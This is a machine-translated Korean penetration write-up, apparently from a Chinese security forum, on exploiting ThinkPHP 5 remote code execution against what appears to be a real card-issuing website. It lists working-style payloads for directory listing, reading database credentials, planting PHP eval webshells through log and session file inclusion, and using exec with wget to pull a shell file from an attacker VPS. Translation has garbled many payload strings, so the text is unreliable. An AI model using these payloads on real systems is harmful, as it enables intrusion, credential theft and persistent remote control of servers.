제목 : 실용적인 전투에서 TP5 웹 사이트의 getshell 방법 테스트

0x00 前言

이전에 TP5와 접촉하는 사이트가 적었고 RCE 취약성 getshell을 사용하는 방법 만 알고있었습니다. 최근 카드 발행 플랫폼의 침투에서 PHP 버전의 한계로 인해 RCE의 페이로드를 사용하여 쉘을 직접 얻는 것은 불가능합니다. 따라서 웹 사이트와 결합하여 가능한 한 TP5+PHP7.1 환경에서 많은 getshell 방법을 테스트하십시오.

0x02 正文

사이트를 얻은 후 다음과 같이 홈페이지를 방문하십시오
1049983-20220112164153129-412690556.png

테스트 중에 ThinkPHP 사이트 인 것으로 밝혀졌으며 오류는 다음과 같이보고되었습니다.
1049983-20220112164153599-89312026.png

그러나 특정 버전을 볼 수 없으며 RCE가 있는지 확실하지 않으므로 EXP로 시도하겠습니다.
_METHOD=__ CORSUCTMETHOD=getFilter=call_user_funcget []=phpinfo
1049983-20220112164154048-133690590.png

실행이 성공적이었고 많은 기능이 disable_function
1049983-20220112164154456-2007761822.png
에 의해 비활성화되었습니다.
일반적으로 PHP 버전이 7.1보다 낮은 경우 exp를 사용하여 쉘을 쓰십시오.方法一다음 exp를 사용하여 쉘을 사용하십시오.
s=file_put_contents ( 'test.php', '? php phpinfo ();') _ method=__ constructMethod=postfilter []=assert
그러나 Assert는이 EXP에 사용되며 위의 것은 PHP 버전이 7.1.33임을 보여줍니다. 이 버전은 더 이상 Assert를 사용할 수 없으므로이 방법은 여기에서 사용할 수 없습니다.
方法二위의 Exp는 쉘을 쓸 수 없지만 phpinfo가 실행되므로 RCE가 존재합니다. 그래서 파일을 읽어 데이터베이스 계정 암호를 읽은 다음 phpmyadmin을 찾은 다음 데이터베이스를 통해 쉘을 작성할 수 있다고 생각했습니다.
따라서 먼저 phpinfo의 정보를 통해 웹 사이트 루트 디렉토리를 찾은 다음 Scandir 함수를 사용하여 디렉토리를 통과하고 데이터베이스 구성 파일을 찾으십시오.
_METHOD=__ CORSUCTFILTER []=SCANDIRFILTER []=var_dumpMethod=getGet []=경로
1049983-20220112164154902-34241032.png

그런 다음 Highlows_File 함수를 통해 파일을 읽으십시오
_METHOD=__ CORSUCTFILTER []=HIGHTERTH_FILEMETHOD=getGet []=파일 경로를 읽습니다
1049983-20220112164155347-2101104572.png

데이터베이스 정보를 얻은 후, 나는 phpmyadmin이 존재했는지 여부를 찾아서 마침내 그것이 그렇지 않다는 것을 알았 으므로이 방법도 실패했습니다.
포럼에서 TP5의 getshell 방법을 검색하면서 많은 마스터들은 로그 나 세션을 사용하여 방법을 포함 할 수 있지만 이전에는 노출 된 적이 없으며 특정 정보를 모르기 때문에 검색하고 시도했습니다.
方法三시도 로그에 포함되어 있습니다
먼저 쉘을 쓰고 로그를 입력하십시오
_METHOD=__ CORSUCTMETHOD=getFilter []=call_user_funcserver []=phpinfoget []=? php eval ($ _ post [ 'c'])?
그런 다음 로그 포함으로 getshell
_METHOD=__ CORSUCTMETHOD=getFilter []=Think \ __ Includ_Fileserver []=phpinfoget []=./data/runtime/log/202110/17.logc=phpinfo ();
1049983-20220112164155832-1130145507.png

실패하면 로그에 포함 된 방법을 사용할 수 없습니다.
方法四세션에 포함 된 메소드를 사용하여 getshell을 시도하십시오.
먼저 세션 세션을 설정하고 문장 트로이 목마를 전달합니다.
_METHOD=__ ConstructFilter []=Think \ Session: 세트 메드=GetGet []=? Php Eval ($ _ Post [ 'C'])? Server []=1
1049983-20220112164156221-726893950.png

그런 다음 파일을 직접 사용하여 세션 파일을 포함하십시오. tp5의 세션 파일은 일반적으로 /tmp 아래에 있으며 파일 이름은 session_sessionid입니다 (이 세션 드는 쿠키에 있습니다)
_METHOD=__ CORSUCTMETHOD=getFilter []=Think \ __ Includ_Fileserver []=phpinfoget []=/tmp/sess_ejc3iali7uv3deo9g6ha8pbtoic=phpinfo ();
1049983-20220112164156637-987300493.png

성공적으로 실행 된 다음 Ang Sword
1049983-20220112164157063-1880914308.png
를 통해 연결하십시오.
성공 Getshell
1049983-20220112164157485-516730089.png

www 권한
1049983-20220112164157850-189476530.png

方法五위의 쉘을 얻었지만 다른 방법이 있다면 여전히 다시 시도했습니다. exec가 disable_function에서 비활성화되지 않았기 때문에 기사를 보았고, exec을 사용하여 vps에서 쉘 파일을 다운로드했습니다.
그래서 나는 disable_function에서 장애인 기능을 신중하게 보았습니다. 우연히 exec도 장애가 없다는 것을 알았으므로 시도해 볼 것입니다.
먼저 VPS에서 test.php를 만들고 Python으로 포트를 엽니 다.
Python -m SimpleHttPserver 8888
1049983-20220112164158129-1072450037.png

VPS에서 파일을 다운로드하십시오
s=wget vps/test.php_method=__ ConstructMethod=getFilter []=exec
1049983-20220112164158552-2141884864.png

대상 기계에 성공적으로 다운로드했습니다

0x03 总结

1. 대상 웹 사이트 경로에 잘못된 경로를 입력하면 웹 사이트의 오류 페이지가 ThinkPhp이며 버전이 표시되지 않습니다.
2. TP5.X의 RCE POC를 입력하여 PHPINFO가 성공했음을 보여주고 disabled_function은 많은 기능을 비활성화하고 PHP 버전은 7.1.x 버전입니다.
Post:
_METHOD=__ CORSUCTMETHOD=getFilter=call_user_funcget []=phpinfo
3. 다음 방법은 쉘을 직접 얻을 수 있습니다 (TP5.X+PHP7.1.x)
방법 1 : (PHP 요구 사항은 PHP7.1보다 낮습니다)
Post:
s=file_put_contents ( 'test.php', '? php phpinfo ();') _ method=__ constructMethod=postfilter []=assert (
방법 2 : (TP5.X+PHP7.1.x)
먼저 phpinfo의 정보를 통해 웹 사이트 루트 디렉토리를 찾은 다음 Scandir 함수를 사용하여 디렉토리를 통과하고 데이터베이스 구성 파일을 찾으십시오.
_METHOD=__ CORSUCTMETHOD=getFilter=Call_USER_FUNCGET []=PHPINFO //웹 사이트 디렉토리 표시/www/wwwroot/idj/, 디렉토리 트래버스는 웹 사이트 구성 루트 디렉토리 (/www/wwww/wwww/idj/data/conf)에서 얻는다.
_METHOD=__ ConstructFilter []=ScandirFilter []=var_dumpMethod=getGet []=/www/wwwroot/
_METHOD=__ ConstructFilter []=ScandirFilter []=var_dumpMethod=getGet []=/www/wwwroot/idj/
_METHOD=__ ConstructFilter []=ScandirFilter []=var_dumpMethod=getGet []=/www/wwwroot/idj/data/
_METHOD=__ ConstructFilter []=ScandirFilter []=var_dumpMethod=getGet []=/www/wwwr/idj/data/conf
그런 다음 하이라이트 _file 함수를 통해 파일을 읽고 데이터베이스에 대한 연결 사용자 이름과 비밀번호를 읽으십시오.
_METHOD=__ CORSUCTFILTER []=HIGHTIRAM_FILEMETHOD=getGet []=/www/wwwroot/idj/data/conf/database.php
웹 사이트에 phpmyadmin이 있다는 것을 알 수 있다면 데이터베이스 사용자 및 비밀번호를 통해 입력하고 MySQL 로그를 통해 쉘에 쓸 수 있습니다.
방법 3 : (TP5.X+PHP7.1.x, 로그 포함)
먼저 쉘을 쓰고 로그를 입력하십시오
_METHOD=__ CORSUCTMETHOD=getFilter []=call_user_funcserver []=phpinfoget []=? php eval ($ _ post [ 'c'])?
그런 다음 로그 포함으로 getshell
_METHOD=__ CORSUCTMETHOD=getFilter []=Think \ __ Includ_Fileserver []=phpinfoget []=./data/runtime/log/202110/17.logc=phpinfo ();
방법 4 : (TP5.X + PHP7.1.X, 세션에 포함 된 메소드를 사용하여 GetShe를 사용하십시오)
먼저 세션 세션을 설정하고 문장 트로이 목마를 전달합니다.
_METHOD=__ ConstructFilter []=Think \ Session: 세트 메드=GetGet []=? Php Eval ($ _ Post [ 'C'])? Server []=1
그런 다음 파일을 직접 사용하여 세션 파일을 포함하십시오. tp5의 세션 파일은 일반적으로 /tmp 아래에 있으며 파일 이름은 session_sessionid입니다 (이 세션 드는 쿠키에 있습니다)
_METHOD=__ CORSUCTMETHOD=getFilter []=Think \ __ Includ_Fileserver []=phpinfoget []=/tmp/sess_ejc3iali7uv3deo9g6ha8pbtoic=phpinfo ();
방법 4 : (TP5.X+PHP7.1.x, 비활성화 된 실행 함수는 disable_function에서 사용되지 않습니다)
먼저 VPS에서 test.php를 만들고 Python으로 포트를 엽니 다.
Python -m SimpleHttPserver 8888
VPS에서 파일을 다운로드하십시오
s=wget http://www.vps.com/test.php_method=__constructMethod=GetFilter ]=exec
원본 링크 : https://xz.aliyun.com/t/10397
 
뒤로
상단